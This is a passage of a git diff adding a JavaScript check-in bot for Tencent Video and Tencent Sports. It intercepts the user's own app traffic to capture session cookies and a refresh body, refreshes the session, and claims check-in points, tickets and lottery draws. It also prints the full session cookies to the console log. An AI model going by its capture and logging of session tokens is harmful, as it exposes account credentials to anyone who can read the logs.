+let originalWarn = $.warn; +let originalError = $.error; +let message = ""; +$.desc = "", $.taskInfo = ""; +$.info=function(message){originalInfo.call($,message);$.desc+=message+"\n"};$.warn=function(message){originalWarn.call($,message);$.desc+=message+"\n"};$.error=function(message){originalError.call($,message);$.desc+=message+"\n"}; + +if ((isGetCookie = typeof $request !== `undefined`)) { + getCookie(); + $.done(); +} else if (!$.isNode() && !txspCookie){ + $.msg($.name, "您未获取腾讯视频Cookie", "点击此条跳转到腾讯视频获取Cookie", { 'open-url': 'tenvideo://', 'media-url': 'https://raw.githubusercontent.com/WowYiJiu/Personal/main/icon/videoqq.png' }); + $.done(); +} else { + !(async () => { + $.log(`TL库频道:https://pd.qq.com/s/btv4bw7av`); + await getNotice(); + await getVersion(); + //$.log(`\n当前版本:${currentVersion} 最新版本:${latestVersion}\n`); + //$.version = `\n当前版本:${currentVersion} 最新版本:${latestVersion}\n`; + if(!txspCookie){ + $.warn(`未填写txspCookie环境变量`); + return; + } + $.info("---- 开始 刷新vusession ----"); + await refresh_vusession(); + $.info(`--------- 结束 ---------\n`); + $.info(`用户昵称:${nickname}`); + await getVipInfo(); + if (isTxspVip){ + $.info(`---- 腾讯视频VIP信息 ----`); + if (isTxspSvip){ + $.info(`当前是腾讯视频SVIP`); + } else { + $.info(`当前是腾讯视频VIP`); + } + $.info(`当前等级:${level}`); + $.info(`当前成长:${score}`); + if (isTxspSvip){ + $.info(`SVIP到期时间:${svipEndTime}`); + } + $.info(`VIP到期时间:${endTime}`); + $.info(`--------- 结束 ---------\n`); + } + if (isTxSportsVip){ + $.info(`--- 腾讯体育VIP信息 ---`); + if (isTxSportsSvip){ + $.info(`当前是腾讯体育超级VIP`); + } else { + $.info(`当前是腾讯体育VIP`); + } + $.info(`当前等级:${txSportsLevel}`); + $.info(`当前成长:${txSportsScore}`); + if (isTxSportsSvip){ + $.info(`SVIP到期时间:${txSportsSvipEndTime}`); + } + $.info(`VIP到期时间:${txSportsEndTime}`); + $.info(`--------- 结束 ---------\n`); + } + if (isTxspVip){ + $.info(`---- 开始 腾讯视频签到 ----`); + if (isSkipTxspCheckIn){ + $.info(`当前设置为不进行腾讯视频签到,跳过`); + } else { + await readTxspTaskList(); + await waitRandom(1000, 2000); + if (month_received_score === month_limit){ + $.info(`本月活跃任务已满${month_limit}V力值,下个月再来哦`); + } else if (isTxspCheckIn){ + $.info(`今天已签到, 明日再来吧`); + } else { + await txspCheckIn(); + await waitRandom(1000, 2000); + } + } + $.info(`--------- 结束 ---------\n`); + } + if (isTxSportsVip){ + $.info(`---- 开始 腾讯体育签到 ----`); + await readTxSportsTaskList(); + await waitRandom(1000, 2000); + if (isTxSportsCheckIn){ + $.info(`今天已签到, 明日再来吧`); + } else { + await txSportsCheckIn(); + await waitRandom(1000, 2000); + } + $.info(`--------- 结束 ---------\n`); + $.info(`---- 开始 领取每日球票 ----`); + await getDayTicket(); + await waitRandom(1000, 2000); + $.info(`--------- 结束 ---------\n`); + $.info(`---- 开始 领取每月球票 ----`); + var today = new Date(); + var date = today.getDate(); + if (date !== dayOfGetMonthTicket){ + $.info(`目标日期:${dayOfGetMonthTicket}号`); + $.info(`今天是${date}号`); + $.info(`跳过`); + } else { + $.info(`目标日期:${dayOfGetMonthTicket}号`); + $.info(`今天是${date}号`); + await getMonthTicket(); + } + $.info(`--------- 结束 ---------\n`); + if (isLottery) { + $.info(`---- 开始 抽抽乐 ----`); + await lottery(); + await waitRandom(1000, 2000); + $.info(`--------- 结束 ---------`); + } + } + await SendMsg(); + })() + .catch((e) => $.error(e)) + .finally(() => $.done()); +} + +async function refresh_vusession() { + return new Promise((resolve) => { + let opt = { + url: `https://pbaccess.video.qq.com/trpc.video_account_login.web_login_trpc.WebLoginTrpc/NewRefresh`, + headers: { + cookie: txspRefreshCookie, + origin: 'https://v.qq.com', + referer: 'https://v.qq.com/', + 'Content-Type': 'application/json' + }, + body: txspRefreshBody + }; + $.post(opt, async (error, resp, data) => { + if (safeGet(data)) { + var obj = JSON.parse(data); + if (obj.data.errcode === 0) { + let vqq_vusession = obj.data.vusession; + nickname = decodeURIComponent(obj.data.nick); + if (txspCookie.match(/main_login=([^;]*)/)[1] === "qq"){ + txspCookie = txspCookie.replace(/(vqq_vusession=)[^;]*/, `$1${vqq_vusession}`); + } else if(txspCookie.match(/main_login=([^;]*)/)[1] === "wx"){ + txspCookie = txspCookie.replace(/(vusession=)[^;]*/, `$1${vusession}`); + } + $.info("刷新vusession成功") + } else { + $.warn("刷新vusession失败"); + } + resolve(); + } + } + ) + }) +} + +async function getVipInfo() { + return new Promise((resolve, reject) => { + let opt = { + url: `https://vip.video.qq.com/rpc/trpc.query_vipinfo.vipinfo.QueryVipInfo/GetVipUserInfoH5`, + headers: { + cookie: txspCookie, + 'Content-Type': 'application/json' + }, + body: JSON.stringify({"geticon":1,"viptype":"svip|sports|nfl","platform":5}) + }; + $.post(opt, async (error, resp, data) => { + try { + if (safeGet(data)) { + var obj = JSON.parse(data); + if (!obj.servicetype) { + throw new Error(`Cookie已失效`); + } else { + if (obj.vip === 1){ + isTxspVip = true; + endTime = obj.endTime; + level = obj.level; + score = obj.score; + } + if (obj.svip_info.vip === 1){ + isTxspSvip = true; + svipEndTime = obj.svip_info.endTime; + } + if (obj.sports.vip.vip === 1){ + isTxSportsVip = true; + txSportsEndTime = obj.sports.vip.endTime; + txSportsLevel = obj.sports.vip.level; + txSportsScore = obj.sports.vip.score; + } + if (obj.sports.svip.vip === 1){ + isTxSportsSvip = true; + txSportsSvipEndTime = obj.sports.svip.endTime; + } + } + resolve(); + } + } catch (e) { + $.error(e); + reject(`该账号本次跳过执行\n`); + } + } + ) + }) +} + +/** + * 获取腾讯视频任务列表 + * @async + * @function readTxspTaskList + * @returns + */ +async function readTxspTaskList() { + return new Promise((resolve) => { + let opt = { + url: `https://vip.video.qq.com/rpc/trpc.new_task_system.task_system.TaskSystem/ReadTaskList?rpc_data={"business_id":"1","platform":5}`, + headers: { + Referer: "https://film.video.qq.com/x/grade/?ptag=user.apho&ovscroll=0&hidetitlebar=1&aid=V0$$1:0$2:7$3:8.11.01.25068$4:0$8:4&isDarkMode=1&uiType=REGULAR", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + try { + if (safeGet(data)) { + var obj = JSON.parse(data); + var code = obj.ret; + let task_maintitle = ""; + if (code === 0) { + month_received_score = obj.limit_info.month_received_score; + month_limit = obj.limit_info.month_limit; + let taskList = obj.task_list; + let txspCheckInTask = taskList && taskList.find(task => task.task_maintitle === "VIP会员每日签到"); + isTxspCheckIn = txspCheckInTask.task_status; + } else { + $.warn(`获取腾讯视频任务列表失败,异常详细信息如下\n${data}`); + } + resolve(); + } + } catch (e) { + $.error(e); + } + }); + }); +} + +/** + * 腾讯视频签到领取V力值 + * @async + * @function txspCheckIn + * @returns + */ +async function txspCheckIn() { + return new Promise((resolve, reject) => { + let opt = { + url: `https://vip.video.qq.com/rpc/trpc.new_task_system.task_system.TaskSystem/CheckIn?rpc_data={}`, + headers: { + Referer: "https://film.video.qq.com/x/grade/?ptag=user.apho&ovscroll=0&hidetitlebar=1&aid=V0$$1:0$2:7$3:8.11.01.25068$4:0$8:4&isDarkMode=1&uiType=REGULAR", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + var obj = JSON.parse(data); + var code = obj.ret; + if (code === 0 && obj.check_in_score != undefined) { + $.info(`签到成功:获得${obj.check_in_score}V力值`); + $.taskInfo = `签到成功:获得${obj.check_in_score}V力值\n`; + } else if (code === -2002) { + $.info(`今天已签到, 明日再来吧`); + $.taskInfo = `今天已签到, 明日再来吧\n`; + } else { + $.warn(`签到失败,异常详细信息如下\n${data}`); + $.taskInfo = `签到失败, 异常详细信息请查看日志\n`; + } + resolve(); + }); + }); +} + +/** + * 获取腾讯体育任务列表 + * @async + * @function readTxSportsTaskList + * @returns + */ +async function readTxSportsTaskList() { + return new Promise((resolve) => { + let opt = { + url: `https://vip.video.qq.com/rpc/trpc.new_task_system.task_system.TaskSystem/ReadTaskList?rpc_data={"business_id":3,"channel_id":4,"platform":5}`, + headers: { + Referer: "https://film.video.qq.com/x/sports-grade/?ovscroll=0&hidetitlebar=1&immersive=1", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + try { + if (safeGet(data)) { + var obj = JSON.parse(data); + var code = obj.ret; + let task_maintitle = ""; + if (code === 0) { + let taskList = obj.task_list; + let txSportsCheckInTasks = taskList && taskList.find(task => task.task_maintitle === "每日签到"); + isTxSportsCheckIn = txSportsCheckInTasks.task_status; + } else { + $.warn(`获取腾讯视频任务列表失败,异常详细信息如下\n${data}`); + } + resolve(); + } + } catch (e) { + $.error(e); + } + }); + }); +} + +/** + * 腾讯体育签到领取热爱值 + * @async + * @function txSportsCheckIn + * @returns + */ +async function txSportsCheckIn() { + return new Promise((resolve, reject) => { + let opt = { + url: `https://vip.video.qq.com/rpc/trpc.new_task_system.task_system.TaskSystem/CheckIn?rpc_data={"task_id":8006}`, + headers: { + Referer: + "https://film.video.qq.com/x/sports-grade/?ovscroll=0&hidetitlebar=1&immersive=1", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + var obj = JSON.parse(data); + var code = obj.ret; + if (code === 0 && obj.check_in_score != undefined) { + $.info(`签到成功:获得${obj.check_in_score}热爱值`); + $.taskInfo += `签到成功:获得${obj.check_in_score}热爱值\n`; + } else if (code === -2002) { + $.info(`今天已签到, 明日再来吧`); + $.taskInfo += `今天已签到, 明日再来吧\n`; + } else { + $.warn(`签到失败,异常详细信息如下\n${data}`); + $.taskInfo += `签到失败, 异常详细信息请查看日志\n`; + } + resolve(); + }); + }); +} + +/** + * 领取每日球票 + * @async + * @function getDayTicket + * @returns + */ +async function getDayTicket() { + return new Promise((resolve, reject) => { + let opt = { + url: "https://activity.video.qq.com/fcgi-bin/asyn_activity?otype=xjson&act_id=118561&module_id=158089&type=90&option=5", + headers: { + Origin: "https://film.video.qq.com", + Referer: "https://film.video.qq.com/x/sports-vip-channel/?from=tab", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + try { + var obj = JSON.parse(data); + var code = obj.ret; + if (code === 0) { + $.info(`领取每日球票成功`); + $.taskInfo += `领取每日球票成功\n`; + } else if (code === -2021) { + $.info(`每日球票已领取, 明日再来吧`); + $.taskInfo += `每日球票已领取, 明日再来吧\n`; + } else { + $.warn(`领取每日球票失败,异常详细信息如下\n${data}`); + $.taskInfo += `领取每日球票失败,异常详细信息请查看日志\n`; + } + } catch (e) { + $.error(e); + } finally { + resolve(); + } + }); + }); +} + +/** + * 领取每月球票 + * @async + * @function getMonthTicket + * @returns + */ +async function getMonthTicket() { + return new Promise((resolve, reject) => { + let opt = { + url: "https://activity.video.qq.com/fcgi-bin/asyn_activity?otype=xjson&act_id=118561&module_id=165163&type=100160&option=100", + headers: { + Origin: "https://film.video.qq.com", + Referer: "https://film.video.qq.com/x/sports-vip-channel/?from=tab", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + try { + var obj = JSON.parse(data); + var code = obj.ret; + if (code === 0) { + $.info(`领取每月球票成功`); + $.taskInfo += `领取每月球票成功\n`; + } else if (code === -903) { + $.info(`每月球票已领取,下个月再来哦`); + $.taskInfo += `每月球票已领取,下个月再来哦\n`; + } else { + $.warn(`领取每月球票失败,异常详细信息如下\n${data}`); + $.taskInfo += `领取每月球票失败,异常详细信息请查看日志\n`; + } + } catch (e) { + $.error(e); + } finally { + resolve(); + } + }); + }); +} + +/** + * 抽抽乐 2024年2月29日10点下线 + * @async + * @function lottery() + * @returns + */ +async function lottery() { + return new Promise((resolve, reject) => { + let opt = { + url: "https://activity.video.qq.com/fcgi-bin/asyn_activity?otype=xjson&act_id=118561&module_id=158090&type=100143&option=100", + headers: { + Origin: "https://film.video.qq.com", + Referer: "https://film.video.qq.com/x/sports-vip-channel/?from=tab", + Cookie: txspCookie, + }, + }; + $.get(opt, async (error, resp, data) => { + try { + var obj = JSON.parse(data); + var code = obj.ret; + if (code === 0) { + $.info(`抽奖成功: ${obj.lotter_ext}`); + } else if (code === -904) { + $.info(`今天已抽奖, 明日再来吧`); + } else { + $.warn(`抽奖失败,异常详细信息如下\n${data}`); + } + } catch (e) { + $.error(e); + } finally { + resolve(); + } + }); + }); +} + +function getCookie() { + if($request && $request.method !=`OPTIONS` && $request.url.match(/\/rpc\/trpc\.new_task_system\.task_system\.TaskSystem\/ReadTaskList/)){ + let txsp = $request.headers["Cookie"] || $request.headers["cookie"]; + if (txsp) { + if (typeof txspCookie === "undefined" || (txspCookie && txspCookie.length === 0)) { + $.setdata(txsp, "txspCookie"); + $.log(`Cookie: ${txsp}`); + $.msg($.name, "🎉 Cookie写入成功", "不用请自行关闭重写!"); + } else if (txsp !== txspCookie) { + $.setdata(txsp, "txspCookie"); + $.log(`Cookie: ${txsp}`); + $.msg($.name, "🎉 Cookie更新成功", "不用请自行关闭重写!"); + } else { + $.msg($.name, "⚠️ Cookie未变动 跳过更新", "不用请自行关闭重写!"); + } + } else { + $.msg($.name, "⚠️ Cookie未找到", "不用请自行关闭重写!"); + } + } + if($request && $request.method !=`OPTIONS` && $request.url.match(/\/trpc\.videosearch\.hot_rank\.HotRankServantHttp\/HotRankHttp/)){ + let refreshCookie = $request.headers["Cookie"] || $request.headers["cookie"]; + if (refreshCookie) { + if (typeof txspRefreshCookie === "undefined" || (txspRefreshCookie && txspRefreshCookie.length === 0)) { + $.setdata(refreshCookie, "txspRefreshCookie"); + $.log(`Cookie: ${refreshCookie}`); + $.msg($.name, "🎉 refreshCookie写入成功", "不用请自行关闭重写!"); + } else if (refreshCookie !== txspRefreshCookie) { + $.setdata(refreshCookie, "txspRefreshCookie"); + $.log(`Cookie: ${refreshCookie}`); + $.msg($.name, "🎉 refreshCookie更新成功", "不用请自行关闭重写!"); + } else { + $.msg($.name, "⚠️ refreshCookie未变动 跳过更新", "不用请自行关闭重写!"); + } + } else { + $.msg($.name, "⚠️ refreshCookie未找到", "不用请自行关闭重写!"); + } + } + if($request && $request.method !=`OPTIONS` && $request.url.match(/\/trpc\.video_account_login\.web_login_trpc\.WebLoginTrpc\/NewRefresh/)){ + let refreshBody = $request.body; + if (refreshBody){ + if (typeof txspRefreshBody === "undefined" || (txspRefreshBody && txspRefreshBody.length === 0)) { + $.setdata(refreshBody, "txspRefreshBody"); + $.log(`refreshBody: ${refreshBody}`); + $.msg($.name, "🎉 refreshBody写入成功", "不用请自行关闭重写!"); + } else if (refreshBody !== txspRefreshBody) { + $.setdata(refreshBody, "txspRefreshBody"); + $.log(`refreshBody: ${refreshBody}`); + $.msg($.name, "🎉 refreshBody更新成功", "不用请自行关闭重写!"); + } else { + $.msg($.name, "⚠️ refreshBody未变动 跳过更新", "不用请自行关闭重写!"); + } + } + } +} + +async function getNotice() { + return new Promise((resolve) => { + let opt = { + url: "https://raw.githubusercontent.com/3288588344/toulu/main/tl.json", + timeout: 10000, + }; + $.get(opt, async (error, resp, data) => { + try { + if (error) { + $.error("👾 获取TL库远程公告失败"); + resolve(); + } else { + if (data) { + var obj = JSON.parse(data); + $.log(obj.notice); + resolve(); + } + } + } catch (e) { + $.error(e); + resolve(); + } + }); + }); +} + +async function getVersion() { + const timeoutMs = 10000; + const opt = { + url: "https://github.wowyijiu.today/https://raw.githubusercontent.com/WowYiJiu/Personal/main/Script/tenvideo.js", + timeout: timeoutMs + }; + const data = await new Promise((resolve) => { + $.get(opt, (error, resp, data) => { + if (error) { + resolve("undefined"); + } else { + resolve(data); + } + }); + }); + + const versionInfo = data.match(/@version\s+(v\d+\.\d+\.\d+)/); + if (versionInfo) { + latestVersion = versionInfo[1]; + } else { + latestVersion = "undefined"; + } + return latestVersion; +} + +async function SendMsg() { + if (Notify > 0) { + if ($.isNode()) { + await notify.sendNotify($.name, `${$.version}\n\n${$.desc}`); + } else { + $.msg($.name, "", `${$.version}\n${$.taskInfo}`); + } + } else { + $.msg($.name, "", `${$.version}\n${$.taskInfo}`); + } +} + +async function waitRandom(min, max) { + var time = getRandomInt(min, max); + await $.wait(time); +} + +// 随机生成整数 +function getRandomInt(min, max) { + min = Math.ceil(min); + max = Math.floor(max); + return Math.floor(Math.random() * (max - min + 1)) + min; +} + +// 提取Cookie的指定字段 +function extractValues(str, keys) { + let results = keys.map((key) => + str.split("; ").find((s) => s.startsWith(key + "=")) + ); + return results.join(";"); +} + +// 判断时间戳是不是今天 +function isToday(timestamp) { + let date = new Date(timestamp); + let today = new Date(); + return ( + date.getDate() === today.getDate() && + date.getMonth() === today.getMonth() && + date.getFullYear() === today.getFullYear() + ); +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + $.error(e); + $.error(`腾讯视频访问数据为空,请检查Cookie是否有效`); + return false; + } +} + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise(((e,i)=>{s.call(this,t,((t,s,o)=>{t?i(t):e(s)}))}))}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.logLevels={debug:0,info:1,warn:2,error:3},this.logLevelPrefixs={debug:" DEBUG",info:" INFO",warn:" WARN",error:" ERROR"},this.logLevel="info",this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.encoding="utf-8",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}getEnv(){return"undefined"!=typeof $environment&&$environment["surge-version"]?"Surge":"undefined"!=typeof $environment&&$environment["stash-version"]?"Stash":"undefined"!=typeof module&&module.exports?"Node.js":"undefined"!=typeof $task?"Quantumult X":"undefined"!=typeof $loon?"Loon":"undefined"!=typeof $rocket?"Shadowrocket":void 0}isNode(){return"Node.js"===this.getEnv()}isQuanX(){return"Quantumult X"===this.getEnv()}isSurge(){return"Surge"===this.getEnv()}isLoon(){return"Loon"===this.getEnv()}isShadowrocket(){return"Shadowrocket"===this.getEnv()}isStash(){return"Stash"===this.getEnv()}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null,...s){try{return JSON.stringify(t,...s)}catch{return e}}getjson(t,e){let s=e;if(this.getdata(t))try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise((e=>{this.get({url:t},((t,s,i)=>e(i)))}))}runScript(t,e){return new Promise((s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let o=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");o=o?1*o:20,o=e&&e.timeout?e.timeout:o;const[r,a]=i.split("@"),n={url:`http://${a}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:o},headers:{"X-Key":r,Accept:"*/*"},timeout:o};this.post(n,((t,e,i)=>s(i)))})).catch((t=>this.logErr(t)))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),o=JSON.stringify(this.data);s?this.fs.writeFileSync(t,o):i?this.fs.writeFileSync(e,o):this.fs.writeFileSync(t,o)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let o=t;for(const t of i)if(o=Object(o)[t],void 0===o)return s;return o}lodash_set(t,e,s){return Object(t)!==t||(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce(((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{}),t)[e[e.length-1]]=s),t}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),o=s?this.getval(s):"";if(o)try{const t=JSON.parse(o);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,o]=/^@(.*?)\.(.*?)$/.exec(e),r=this.getval(i),a=i?"null"===r?null:r||"{}":"{}";try{const e=JSON.parse(a);this.lodash_set(e,o,t),s=this.setval(JSON.stringify(e),i)}catch(e){const r={};this.lodash_set(r,o,t),s=this.setval(JSON.stringify(r),i)}}else s=this.setval(t,e);return s}getval(t){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.read(t);case"Quantumult X":return $prefs.valueForKey(t);case"Node.js":return this.data=this.loaddata(),this.data[t];default:return this.data&&this.data[t]||null}}setval(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":return $persistentStore.write(t,e);case"Quantumult X":return $prefs.setValueForKey(t,e);case"Node.js":return this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0;default:return this.data&&this.data[e]||null}}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.cookie&&void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar)))}get(t,e=(()=>{})){switch(t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"],delete t.headers["content-type"],delete t.headers["content-length"]),t.params&&(t.url+="?"+this.queryStr(t.params)),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let s=require("iconv-lite");this.initGotEnv(t),this.got(t).on("redirect",((t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}})).then((t=>{const{statusCode:i,statusCode:o,headers:r,rawBody:a}=t,n=s.decode(a,this.encoding);e(null,{status:i,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:i,response:o}=t;e(i,o,o&&s.decode(o.rawBody,this.encoding))}));break}}post(t,e=(()=>{})){const s=t.method?t.method.toLocaleLowerCase():"post";switch(t.body&&t.headers&&!t.headers["Content-Type"]&&!t.headers["content-type"]&&(t.headers["content-type"]="application/x-www-form-urlencoded"),t.headers&&(delete t.headers["Content-Length"],delete t.headers["content-length"]),void 0===t.followRedirect||t.followRedirect||((this.isSurge()||this.isLoon())&&(t["auto-redirect"]=!1),this.isQuanX()&&(t.opts?t.opts.redirection=!1:t.opts={redirection:!1})),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient[s](t,((t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status?s.status:s.statusCode,s.status=s.statusCode),e(t,s,i)}));break;case"Quantumult X":t.method=s,this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then((t=>{const{statusCode:s,statusCode:i,headers:o,body:r,bodyBytes:a}=t;e(null,{status:s,statusCode:i,headers:o,body:r,bodyBytes:a},r,a)}),(t=>e(t&&t.error||"UndefinedError")));break;case"Node.js":let i=require("iconv-lite");this.initGotEnv(t);const{url:o,...r}=t;this.got[s](o,r).then((t=>{const{statusCode:s,statusCode:o,headers:r,rawBody:a}=t,n=i.decode(a,this.encoding);e(null,{status:s,statusCode:o,headers:r,rawBody:a,body:n},n)}),(t=>{const{message:s,response:o}=t;e(s,o,o&&i.decode(o.rawBody,this.encoding))}));break}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}queryStr(t){let e="";for(const s in t){let i=t[s];null!=i&&""!==i&&("object"==typeof i&&(i=JSON.stringify(i)),e+=`${s}=${i}&`)}return e=e.substring(0,e.length-1),e}msg(e=t,s="",i="",o={}){const r=t=>{const{$open:e,$copy:s,$media:i,$mediaMime:o}=t;switch(typeof t){case void 0:return t;case"string":switch(this.getEnv()){case"Surge":case"Stash":default:return{url:t};case"Loon":case"Shadowrocket":return t;case"Quantumult X":return{"open-url":t};case"Node.js":return}case"object":switch(this.getEnv()){case"Surge":case"Stash":case"Shadowrocket":default:{const r={};let a=t.openUrl||t.url||t["open-url"]||e;a&&Object.assign(r,{action:"open-url",url:a});let n=t["update-pasteboard"]||t.updatePasteboard||s;if(n&&Object.assign(r,{action:"clipboard",text:n}),i){let t,e,s;if(i.startsWith("http"))t=i;else if(i.startsWith("data:")){const[t]=i.split(";"),[,o]=i.split(",");e=o,s=t.replace("data:","")}else{e=i,s=(t=>{const e={JVBERi0:"application/pdf",R0lGODdh:"image/gif",R0lGODlh:"image/gif",iVBORw0KGgo:"image/png","/9j/":"image/jpg"};for(var s in e)if(0===t.indexOf(s))return e[s];return null})(i)}Object.assign(r,{"media-url":t,"media-base64":e,"media-base64-mime":o??s})}return Object.assign(r,{"auto-dismiss":t["auto-dismiss"],sound:t.sound}),r}case"Loon":{const s={};let o=t.openUrl||t.url||t["open-url"]||e;o&&Object.assign(s,{openUrl:o});let r=t.mediaUrl||t["media-url"];return i?.startsWith("http")&&(r=i),r&&Object.assign(s,{mediaUrl:r}),console.log(JSON.stringify(s)),s}case"Quantumult X":{const o={};let r=t["open-url"]||t.url||t.openUrl||e;r&&Object.assign(o,{"open-url":r});let a=t["media-url"]||t.mediaUrl;i?.startsWith("http")&&(a=i),a&&Object.assign(o,{"media-url":a});let n=t["update-pasteboard"]||t.updatePasteboard||s;return n&&Object.assign(o,{"update-pasteboard":n}),console.log(JSON.stringify(o)),o}case"Node.js":return}default:return}};if(!this.isMute)switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":default:$notification.post(e,s,i,r(o));break;case"Quantumult X":$notify(e,s,i,r(o));break;case"Node.js":break}if(!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`[${this.time('HH:mm:ss')}${this.logLevelPrefixs.debug}] ${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`[${this.time('HH:mm:ss')}${this.logLevelPrefixs.info}] ${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`[${this.time('HH:mm:ss')}${this.logLevelPrefixs.warn}] ${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`[${this.time('HH:mm:ss')}${this.logLevelPrefixs.error}] ${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} \ No newline at end of file diff --git 